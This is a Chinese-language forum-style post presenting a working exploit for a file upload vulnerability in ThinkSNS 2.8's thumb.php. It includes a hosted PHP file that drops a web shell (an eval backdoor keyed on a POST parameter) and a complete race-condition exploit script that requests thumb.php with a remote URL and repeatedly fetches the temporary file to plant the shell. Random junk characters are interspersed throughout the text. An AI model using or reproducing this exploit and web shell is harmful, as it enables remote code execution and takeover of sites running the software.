Thinksns2.8文件上传漏洞利用exp

admin

漏洞版本
存在漏洞的版本为：最新的2.8稳定版。（其它版本没测试过）
漏洞文件
存在漏洞的文件为：thumb.php
作者：韦鲲鹏
' j1 l9 e* P3 w1、        准备如下PHP文件并上传到服务器（自己的）。
% c0 T+ H1 ~* I' A. }6 X- }/ ^文件内容如下：
<?php echo “<?php fwrite(fopen(‘img.php’,'w’), ‘<?php @eval(\$_POST[\"xpass\"]);?>’); ?>” ?>
3 J8 h/ F9 o8 c$ i, w' |2、        计算出临时的文件名：
这里我们可以看文件的99行（刚刚是不是没注意呀！）。
8 }' D2 w( u: J" L- A9 ?7 ^! Z
, v2 x+ Y8 a/ ^3、        上传临时文件。
2 M& j& ]) Q% ?4 H) y( O  T6 Q3 r4、        访问临时文件。
( b7 V8 F$ E5 h2 a4 ^# N' O但是这里有个问题，PHP脚本执行的速度是非常快的，如果手工来执行第三和第四步的话，那需要的反应速度该多快呀！所以必须写一个工具来代替人来提交数 据，而且，为了增加第三步的执行时间，为第四步争取时间，我们需要给第一步所准备的PHP填充内容，经过测试，文件大小为300KB时成功率最高。（太小 时间太短，太大可能传不上去。）
Exploit文件内容如下：（这个我就不详细解释了）
- i2 f- _( J1 O6 S) J<?php
error_reporting(0);
set_time_limit(0);
6 l8 {5 Q0 J5 Z1 |ini_set(“default_socket_timeout”, 5);
$ t* k0 Y4 e+ j* _function http_send($host, $port, $headers) {
' h1 L! O) I7 K% j+ c$fp = fsockopen($host, $port);
if (!$fp) die(‘Connection -> fail’);
fputs($fp, $headers);
5 \; w) y2 ?' K$ @* L9 ~/ }return $fp;
}
9 R0 n. L4 h4 R3 l" Jfunction http_recv($fp) {
$ret=”";
while (!feof($fp))
$ret.= fgets($fp, 1024);
fclose($fp);
return $ret;
}
  W. H' e) D$ V' S7 \print “\n#  ThinkSns Arbitrary File Upload   #\n”;
print “# Discovered by 韦鲲鹏 #\n\n”;
if ($argc < 4) {
print “Usage:   php <host> <path> <romote_url>\n”;
print “Example: php localhost /thinksns/ http://localhost/test/123.php\n”;
die();
/ n0 ^8 o6 U$ [+ n) H. [9 D}
( }2 k5 z4 _- c- ?( C0 i$host = $argv[1];
$path = $argv[2];
& m9 q8 _+ j1 m/ i( N# c$url = $argv[3];
$i=0;
* ^+ T+ N& x7 [& C2 `//上传数据包
$headers_up = “GET {$path}thumb.php?url=”.$url.” HTTP/1.1\r\n”;
( p5 d7 D: i$ ?- G+ ^% |3 s$headers_up .= “Host: “.$host.”\r\n”;
3 k. {4 n3 T; D( B4 M$headers_up .= “Connection: close\r\n\r\n”;
echo $headers_up;
! B' k- Y& {$ m# C//临时文件访问数据包
8 K3 Q+ [$ G. H0 r0 S$headers = “GET {$path}data/thumb_temp/”.md5($url).strrchr($url,”.”).” HTTP/1.1\r\n”;
$headers .= “Host: “.$host.”\r\n”;
$headers .= “Connection: close\r\n\r\n”;
echo $headers;
" X5 x4 D0 N- M; Gwhile(++$i<10) {
1 f% ]8 ]9 O' C( y: \* u" c5 K7 v1 {+ rfclose(http_send($host, 80, $headers));
9 X" h5 S! V2 L5 }3 T/ [0 n) ]: R}
" V7 r. d- A" K. j, x9 a! Lfclose(http_send($host, 80, $headers_up));
while(++$i<50) {
4 \5 ^$ l( W. ]8 e8 r7 Jfclose(http_send($host, 80, $headers));
}
: e: G( W9 E) i' E, A% a$headers = “GET {$path}data/thumb_temp/img.php HTTP/1.1\r\n”;
$headers .= “Host: “.$host.”\r\n”;
( i8 k! X8 k% `% k2 {' l/ o$headers .= “Connection: close\r\n\r\n”;
$res=http_recv(http_send($host, 80, $headers));
if(preg_match(‘/200 OK/’,$res)) {
print “Success!\n\n”;
} else {
, u! y, k% R' o5 Z$ m, pprint “Fail!\n\n”;
2 l0 k! v" z9 j! z2 [3 \}
?>
4 }" \2 X; T, k​